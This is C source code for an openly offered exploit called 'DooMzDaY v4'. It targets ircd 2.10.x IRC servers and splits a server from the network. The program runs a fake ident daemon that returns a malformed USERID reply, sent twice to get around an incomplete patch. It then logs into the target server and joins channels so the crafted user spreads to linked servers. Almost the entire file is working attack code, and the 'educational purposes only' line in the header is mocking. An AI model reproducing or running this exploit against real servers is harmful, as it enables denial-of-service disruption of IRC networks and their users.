/* DooMzDaY v4 - ircd 2.10.x/ircnet - exploit
 * for linux - written by psychoid from tcl
 *
 * general vulnerability found by Hippo
 * a fix already is available, but there are
 * also incomplete fixes out there.
 *
 * this splits a server from the network. Simple, isnt it ?
 *
 * if you really want to run this, there should not run
 * an in.identd on your machine. Also, you need to be root.
 *
 * erm, this is for educational purposes only. Even, if noone gets
 * hurt *g*.
 */ 

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <setjmp.h>
#include <signal.h>
#include <string.h>
#include <sys/time.h>

jmp_buf jumpback;

void timed_out( int sig ) {
  longjmp( jumpback, 0x0 );
}

void fuck_it(int sig) {
  longjmp( jumpback, 0x0 );
}

int settimeout(unsigned short sockh, unsigned short timeout) {
  fd_set rfds;
  struct timeval tv;
  FD_ZERO(&rfds);
  FD_SET(sockh,&rfds);
  tv.tv_sec=timeout;
  tv.tv_usec=0;
  select(sockh+1,&rfds,NULL,NULL,&tv);
  if (!FD_ISSET(sockh,&rfds)) {
     return 0;
  } else {
     return 1;
  }     
  /* returns 0=timeout or error, 1=input there */
}


unsigned long lookup(char *hostname)
{
    struct hostent *name;
    unsigned long int address;
    
    if ((address = inet_addr(hostname)) != -1)
	return address;
    if ((name=gethostbyname(hostname)) == NULL)
	return -1;
    memcpy(&address,name->h_addr,name->h_length);
    return address;

}

int writesock(int sock,char *buf)
{
    write(sock,buf,strlen(buf));    
}

int readsock(int sock,char *buf,int size)
{
    int rc;
    fd_set rfds;
    struct timeval tv;
    int cnt;
    memset(buf,0x0,size);
    cnt=0;
    if (settimeout(sock,1)==1) {
	do {
	    rc=read(sock,buf+cnt,1);      	
	    if (rc==0) return rc;
	    if (rc==-1) return rc;
	    cnt++;
	} while (buf[cnt-1] != '\n' && buf[cnt-1] != '\r' && cnt<size);
    }
    return 0;
}

int sockconnect( unsigned short timeout, unsigned long iP, unsigned short port ) {
  int                socky;
  int wasread;
  int currentsock;
  struct sockaddr_in address;
  struct hostent *athost;
  char lasock[0x100];
  unsigned long tip;
  unsigned short prt;
  FILE *sockslist;
  FILE *lastsock;
  
  if (( socky = socket( AF_INET, SOCK_STREAM, 0x0 )) == -1 ) {
    return socky;
  }
    
  address.sin_family      = AF_INET;
 
  address.sin_port        = htons( port );
  address.sin_addr.s_addr = iP; 
  signal( SIGALRM, timed_out );
  alarm(10);    

  if ( setjmp( jumpback ) == 0x0 ) {
    if ( connect( socky, (struct sockaddr*)(&address), sizeof( address ))) {
       socky = -1;
    }
  } else { socky = -1; }

  fflush(stdout);        

  alarm (0);
  return socky;

}

void brokenpipe()
{
    printf("Broken Pipe\n");
    return;
}

int tcpconnect( unsigned long  iP, 
                unsigned short port, 
                unsigned short timeout ) {

  int                socky;
  struct sockaddr_in address;
  struct sigaction sv;
  struct hostent *athost;
  char thathost[0x100];
  char buffer[512];

  int tries, length;
  socky = -1;
  tries = 0;

  sigemptyset(&sv.sa_mask);
  sv.sa_handler=brokenpipe;
  sigaction(SIGPIPE,&sv,NULL);    

/*  if ((athost = gethostbyname (thathost)) == NULL) {
     return -1;     
  }*/

  fflush(stdout);
   if ((socky = sockconnect(timeout,iP,port)) == -1) {
	fprintf(stdout,"Connection refused.\n");
        socky = -1;
        return socky;
   }

  if (socky == -1) printf("Connection refused.\n");    
  alarm( 0x0 );

  return socky;
}


int ircdboost(char *host, int port, char *nick)
{
    int sock;
    char buf[2048];
    char *pt;
    printf("Step 2: Connecting to the IRC Server.\n");
    sock=tcpconnect(lookup(host),port,10);

    if (sock==-1) {
	printf("Error: cant connect\n");
	exit(0x0);
    }
    printf("Step 3: Connected.. sending user / join\n");
    /* the star is very very important */
    writesock(sock,"USER o a a :a\r\n");
    snprintf(buf,sizeof(buf),"NICK %s\r\n",nick);
    writesock(sock,buf);
    snprintf(buf,sizeof(buf),"WHOIS kbnn%d\r\n",lookup(host));
    writesock(sock,buf);
    /* this joins are needed to broadcast the user to the connected servers */
    writesock(sock,"JOIN #sex\r\n"); /* yeah, right */
    writesock(sock,"JOIN #showdown\r\n"); /* yeah, right */
    writesock(sock,"JOIN #funfactory\r\n"); /* yeah, right */
    writesock(sock,"JOIN #usa\r\n"); /* yeah, right */
    writesock(sock,"JOIN #flirt.de\r\n"); /* yeah, right */
    writesock(sock,"JOIN 0\r\n"); /* yeah, right */
    printf("Step 4: Please press control+break to release the split.\n");
    while (readsock(sock,buf,sizeof(buf)) >=0)
    {
	pt=strstr(buf,"PING");
	if (pt==buf)
	{
	    writesock(sock,"PONG :PPP\r\n");
	}
	pt=strstr(buf,"ERROR");
	if (pt==buf) break;
	printf(buf);
    }
    close(sock);
}

int
main (int argc, char **argv)
{
  int listensocket, insocket, outsocket;
  short listenport, destport;
  struct hostent *socks_he, *dest_he;
  struct sockaddr_in listen_sa, socks_sa;
  char buf[200];
  int sopts = 1, maxfd;
  char c[100];
  char *po;
  int length;
  int cnt;
  int rc;
  int lport,fport;
  fd_set rfds;
  lport= 0; fport =0;    

  printf("\nDooMzDaY v4 - by psychoid\n");
  printf("exploits a bug in the ircd ident request of ircd 2.10.x\n");

  if (argc != 4)
    {
      printf ("Usage: %s ircserver port nick\n", argv[0]);
      printf ("Example: %s chat.bt.net 6669 killah\n\n", argv[0]);
      exit (1);
    }

  printf("Setting up..\n");

  listenport = 113;

  listensocket = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
  setsockopt (listensocket, SOL_SOCKET, SO_REUSEADDR, &sopts, sizeof (int));

  memset (&listen_sa, 0, sizeof (struct sockaddr_in));

  listen_sa.sin_port = htons (listenport);
  listen_sa.sin_addr.s_addr = htonl (INADDR_ANY);

  socks_sa.sin_port = htons (destport);

  if ((bind (listensocket, (struct sockaddr *) &listen_sa, sizeof (struct sockaddr_in))) == -1)
    {
      perror ("bind");
      exit (1);
    }
  if ((listen (listensocket, 1)) == -1)
    {
      perror ("listen");
      exit (1);
    }

  rc=fork();
  if (rc ==0) {
     printf("\nStep 1: Starting identd\n");
     sleep(2); /* the demon should really run */
     ircdboost(argv[1],atoi(argv[2]),argv[3]);
     exit(0x0);    
  }     
gee:
  sleep(1);
  printf("        Identd started.. listening.\n");
  insocket = accept (listensocket, NULL, 0);
  if (insocket == -1)
    {
      perror ("accept");
      exit (1);
    }

  while (1)
    {
      memset(c,0x0,sizeof(c));
      FD_ZERO (&rfds);
      FD_SET (insocket, &rfds);
      select (insocket+1, &rfds, NULL, NULL, NULL);
      if (FD_ISSET (insocket, &rfds))
        {
	  length = recv (insocket, c, 100, 0);
	  if (length == -1 || length == 0)
	    break;
	  sscanf(c," %d , %d", &lport, &fport);
	  snprintf(buf,sizeof(buf),"%d , %d : USERID : UNIX : @o ! ! ! ! ! ! \r\n",lport,fport);
	  printf("\nIdent : %s\n",buf);
	  /* sending it a second time because of the lame 1st patch */
	  send(insocket,buf,strlen(buf),0);
	  snprintf(buf,sizeof(buf),": USERID : UNIX : @o ! ! ! ! ! ! \r\n");
	  printf("\nIdent : %s\n",buf);
	  send(insocket,buf,strlen(buf),0);
	  break;
	}
    }
  sleep(1);
  close (insocket);
  close (listensocket);
  wait(0);
  exit(0x0);
}


